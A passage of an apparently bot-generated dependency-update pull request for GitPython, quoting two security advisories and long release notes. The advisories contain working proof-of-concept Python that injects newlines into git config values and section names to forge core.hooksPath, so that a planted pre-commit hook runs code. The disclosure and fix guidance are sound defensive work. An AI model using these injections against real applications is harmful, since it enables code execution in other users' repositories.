          / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
          values to Python's `configparser` without validating for newlines. GitPython's
          own `_write()` converts embedded newlines into indented continuation lines
          (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
          stanza as a section header \u2014 so the injected `core.hooksPath` becomes
          effective configuration. Any Git operation that invokes hooks (commit, merge,
          checkout) will then execute scripts from the attacker-controlled path.\n\nThe
          vulnerability is not merely malformed config output: GitPython's own writer
          converts embedded newlines into indented continuation lines, but Git still
          accepts an indented `[core]` stanza as a section header, so the injected
          `core.hooksPath` becomes effective configuration.\n\nThis was found while
          auditing MLRun's `project.push()` method, which passes `author_name` and
          `author_email` directly to `config_writer().set_value()` with no sanitization.
          Both parameters cross a trust boundary \u2014 they are caller-supplied API
          inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
          git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
          as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
          = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
          capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
          \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
          \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
          0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
          \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
          is persistent repo config poisoning. Any user who can supply `author_name`
          or `author_email` to an application calling `config_writer().set_value()`
          can redirect Git hook execution to an arbitrary path. In a multi-user or
          hosted environment (e.g. a shared MLRun server where multiple users push
          to the same repositories), one user can poison the `.git/config` of a shared
          repo and have their hooks run in the context of every subsequent Git operation
          by any user. On single-user deployments, the impact depends on whether the
          application later invokes Git hooks automatically.\n\nRemediation: `set_value()`
          should raise on CR, LF, or NUL in values rather than silently pass them
          through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and
          re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config
          values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than
          stripping \u2014 a stripped newline might indicate the caller is passing
          unsanitized input at a higher level, and silent normalization masks that.\n\nAffected
          wherever `config_writer().set_value(section, key, user_input)` is called
          with external input.** GitPython is a dependency of DVC, MLflow, Kedro,
          and others \u2014 worth auditing their `set_value()` call sites for externally
          influenced inputs.\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
          [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer() section parameter bypasses
          CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
          (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
          The section and option parameters are passed to configparser without any
          newline validation. An attacker who controls the section argument can inject
          \\n to write arbitrary section headers into .git/config, including a forged
          [core] section with hooksPath pointing to an attacker-controlled directory,
          leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py
          \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
          section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
          = self._value_to_string_safe(value)   # only value is validated\n      if
          not self.has_section(section):\n          self.add_section(section)                    #
          section not validated\n      super().set(section, option, value_str)          #
          option not validated\n      return self\n```\n\n_write() formats section
          headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes
          [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
          \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
          \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
          \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
          \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline
          into section parameter (not value \u2014 already patched)\n  with repo.config_writer()
          as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
          \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\",
          \"core.hooksPath\"],\n                     capture_output=True, text=True)\n
          \ print(r.stdout.strip())  # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\",
          \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n
          \ print(open(\"/tmp/rce_proof.txt\").read())  # \u2192 uid=1000(...) RCE
          confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via
          core.hooksPath injection). The patch is incomplete \u2014 only value is
          validated while section and option remain injectable.\n\n#### Severity\n-
          CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.50`](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n###
          [`v3.1.49`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49):
          - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49)\n\n####
          What's Changed\n\n- reject control chars in written values in configuration
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2137](https://redirect.github.com/gitpython-developers/GitPython/pull/2137)\n-
          Improve pure Python rev-parse coverage and behavior  by [@&#8203;Copilot](https://redirect.github.com/Copilot)
          in [#&#8203;2136](https://redirect.github.com/gitpython-developers/GitPython/pull/2136)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49>\n\n###
          [`v3.1.48`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48):
          - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48)\n\nAccidentally
          deleted the previous GH release, it did mention the advisory this fixes.\n\n#####
          What's Changed\n\n- prevent out-of-repo access when manipulating references.
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2134](https://redirect.github.com/gitpython-developers/GitPython/pull/2134)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48>\n\n###
          [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
          - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
          Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
          <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
          What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
          Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
          DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
          in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
          Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
          Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
          fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
          in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
          Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
          Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
          Fix `Repo.active_branch` resolution for reftable-backed repositories by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
          in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
          in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
          in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
          Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          Harden commit trailer subprocess handling and align trailer I/O paths by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
          git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
          in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          Make sure that multi-options are checked after splitting them with `shlex`
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
          Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
          New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
          contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
          contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first
          contribution in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
          contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
          first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
          contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n###
          [`v3.1.46`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.46)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46)\n\n####
          What's Changed\n\n- Prepare a new release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2063](https://redirect.github.com/gitpython-developers/GitPython/pull/2063)\n-
          Bump actions/checkout from 4 to 5 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2067](https://redirect.github.com/gitpython-developers/GitPython/pull/2067)\n-
          Bump git/ext/gitdb from `335c0f6` to `39d7dbf` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2068](https://redirect.github.com/gitpython-developers/GitPython/pull/2068)\n-
          Bump actions/setup-python from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2070](https://redirect.github.com/gitpython-developers/GitPython/pull/2070)\n-
          Bump git/ext/gitdb from `39d7dbf` to `f8fdfec` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2071](https://redirect.github.com/gitpython-developers/GitPython/pull/2071)\n-
          Fix type hint for `SymbolicReference.reference` property by [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
          in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
          feat: Add support for hasconfig git rule. by [@&#8203;bvanelli](https://redirect.github.com/bvanelli)
          in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
          Bump github/codeql-action from 3 to 4 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2076](https://redirect.github.com/gitpython-developers/GitPython/pull/2076)\n-
          Use actual return type in annotation for method submodule\\_update by [@&#8203;extrwi](https://redirect.github.com/extrwi)
          in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
          Bump git/ext/gitdb from `f8fdfec` to `65321a2` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2082](https://redirect.github.com/gitpython-developers/GitPython/pull/2082)\n-
          Preliminary support for index format v3 by [@&#8203;blahgeek](https://redirect.github.com/blahgeek)
          in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
          Bump actions/checkout from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2084](https://redirect.github.com/gitpython-developers/GitPython/pull/2084)\n-
          Pin `mypy==1.18.2` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n-
          Respect `os.Pathlike` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2086](https://redirect.github.com/gitpython-developers/GitPython/pull/2086)\n-
          Bump git/ext/gitdb from `65321a2` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2093](https://redirect.github.com/gitpython-developers/GitPython/pull/2093)\n-
          Join `Pathlike` Object to Tree by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2094](https://redirect.github.com/gitpython-developers/GitPython/pull/2094)\n\n####
          New Contributors\n\n- [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
          made their first contribution in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
          [@&#8203;bvanelli](https://redirect.github.com/bvanelli) made their first
          contribution in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
          [@&#8203;extrwi](https://redirect.github.com/extrwi) made their first contribution
          in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
          [@&#8203;blahgeek](https://redirect.github.com/blahgeek) made their first
          contribution in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
          [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden) made their
          first contribution in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46>\n\n###
          [`v3.1.45`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.45)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45)\n\n####
          What's Changed\n\n- Fix various version-related CI breakages by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1987](https://redirect.github.com/gitpython-developers/GitPython/pull/1987)\n-
          Do some CI cleanup to make reports clearer and future changes easier by
          [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;1989](https://redirect.github.com/gitpython-developers/GitPython/pull/1989)\n-
          Affirm that gitdb and smmap advisories can also be created by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1991](https://redirect.github.com/gitpython-developers/GitPython/pull/1991)\n-
          Fix links to gitdb and smmap `SECURITY.md` files by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1992](https://redirect.github.com/gitpython-developers/GitPython/pull/1992)\n-
          Test Python 3.13 regularly on Ubuntu and macOS on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1990](https://redirect.github.com/gitpython-developers/GitPython/pull/1990)\n-
          Repo.rev\\_parse: Handle <tag>^{commit} correctly by [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
          in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
          Fuzzing: Fix Broken Fuzz Test for Git Submodule Handling by [@&#8203;DaveLak](https://redirect.github.com/DaveLak)
          in [#&#8203;1997](https://redirect.github.com/gitpython-developers/GitPython/pull/1997)\n-
          Work around Cygwin CI failure [#&#8203;2004](https://redirect.github.com/gitpython-developers/GitPython/issues/2004),
          except for `test_installation` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2007](https://redirect.github.com/gitpython-developers/GitPython/pull/2007)\n-
          Mark `test_installation` xfail on Cygwin CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2009](https://redirect.github.com/gitpython-developers/GitPython/pull/2009)\n-
          `IndexFile._to_relative_path` - fix case where absolute path gets stripped
          of trailing slash by [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7)
          in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
          Use WSL1 on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2010](https://redirect.github.com/gitpython-developers/GitPython/pull/2010)\n-
          Test free-threaded Python (but only on Linux) by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2011](https://redirect.github.com/gitpython-developers/GitPython/pull/2011)\n-
          Use property decorator to support typing by [@&#8203;Andrej730](https://redirect.github.com/Andrej730)
          in [#&#8203;2015](https://redirect.github.com/gitpython-developers/GitPython/pull/2015)\n-
          Fix some incorrect sphinx markups in the docstrings by [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w)
          in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
          replace quansight-labs/setup-python with actions/setup-python by [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum)
          in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
          remove type assertions from util.py by [@&#8203;gcmarx](https://redirect.github.com/gcmarx)
          in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
          correctly handle `uname-cmd` that doesn't point to an executable file by
          [@&#8203;gcmarx](https://redirect.github.com/gcmarx) in [#&#8203;2026](https://redirect.github.com/gitpython-developers/GitPython/pull/2026)\n-
          Use newer ruff style by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2031](https://redirect.github.com/gitpython-developers/GitPython/pull/2031)\n-
          Have CodeQL scan GitHub Actions workflows as well as Python code by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2032](https://redirect.github.com/gitpython-developers/GitPython/pull/2032)\n-
          Specify explicit `contents: read` workflow permissions by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2033](https://redirect.github.com/gitpython-developers/GitPython/pull/2033)\n-
          Fix GitConfigParser not removing quotes from values by [@&#8203;betaboon](https://redirect.github.com/betaboon)
          in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
          Preserve quoted leading and trailing single-line config var whitespace by
          [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2036](https://redirect.github.com/gitpython-developers/GitPython/pull/2036)\n-
          Refactor Git.{AutoInterrupt,CatFileContentStream} nesting by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2037](https://redirect.github.com/gitpython-developers/GitPython/pull/2037)\n-
          Fix Git.{AutoInterrupt,CatFileContentStream} static typing by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2039](https://redirect.github.com/gitpython-developers/GitPython/pull/2039)\n-
          Fix CI `mypy` command on free-threaded Python by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2040](https://redirect.github.com/gitpython-developers/GitPython/pull/2040)\n-
          Split Cygwin CI into non-`performance` and `performance` test jobs by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2042](https://redirect.github.com/gitpython-developers/GitPython/pull/2042)\n-
          Express conditional `setuptools` requirement statically by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2043](https://redirect.github.com/gitpython-developers/GitPython/pull/2043)\n-
          Fix ambiguous `_safer_popen_windows` comment by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2044](https://redirect.github.com/gitpython-developers/GitPython/pull/2044)\n-
          Clarify `USE_SHELL` warning helper signature by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2045](https://redirect.github.com/gitpython-developers/GitPython/pull/2045)\n-
          Test `ConfigParser` with whitespace outside the value by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2046](https://redirect.github.com/gitpython-developers/GitPython/pull/2046)\n-
          Remove explicit empty `\"\"` handling in ConfigParser by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2047](https://redirect.github.com/gitpython-developers/GitPython/pull/2047)\n-
          Various style improvements by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2049](https://redirect.github.com/gitpython-developers/GitPython/pull/2049)\n-
          Don't remove quotes if `\\` or `\"` are present inside by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2048](https://redirect.github.com/gitpython-developers/GitPython/pull/2048)\n-
          fix updating submodules with relative urls by [@&#8203;david0](https://redirect.github.com/david0)
          in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
          Run `cat_file.py` fixture without site customizations by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2052](https://redirect.github.com/gitpython-developers/GitPython/pull/2052)\n-
          Fix Cygwin installation on CI for `pip` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2053](https://redirect.github.com/gitpython-developers/GitPython/pull/2053)\n-
          Fail `test_installation` on warnings, and remove deprecated license classifier
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2054](https://redirect.github.com/gitpython-developers/GitPython/pull/2054)\n-
          Add clearer error version for unsupported index error by [@&#8203;tombedor](https://redirect.github.com/tombedor)
          in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
          Fix name collision by [@&#8203;NMertsch](https://redirect.github.com/NMertsch)
          in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
          Allow relative path url in submodules for submodule\\_update by [@&#8203;t-webber](https://redirect.github.com/t-webber)
          in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n####
          New Contributors\n\n- [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
          made their first contribution in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
          [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7) made their
          first contribution in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
          [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w) made their first
          contribution in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
          [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum) made their first
          contribution in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
          [@&#8203;gcmarx](https://redirect.github.com/gcmarx) made their first contribution
          in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
          [@&#8203;betaboon](https://redirect.github.com/betaboon) made their first
          contribution in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
          [@&#8203;david0](https://redirect.github.com/david0) made their first contribution
          in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
          [@&#8203;tombedor](https://redirect.github.com/tombedor) made their first
          contribution in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
          [@&#8203;NMertsch](https://redirect.github.com/NMertsch) made their first
          contribution in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
          [@&#8203;t-webber](https://redirect.github.com/t-webber) made their first
          contribution in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
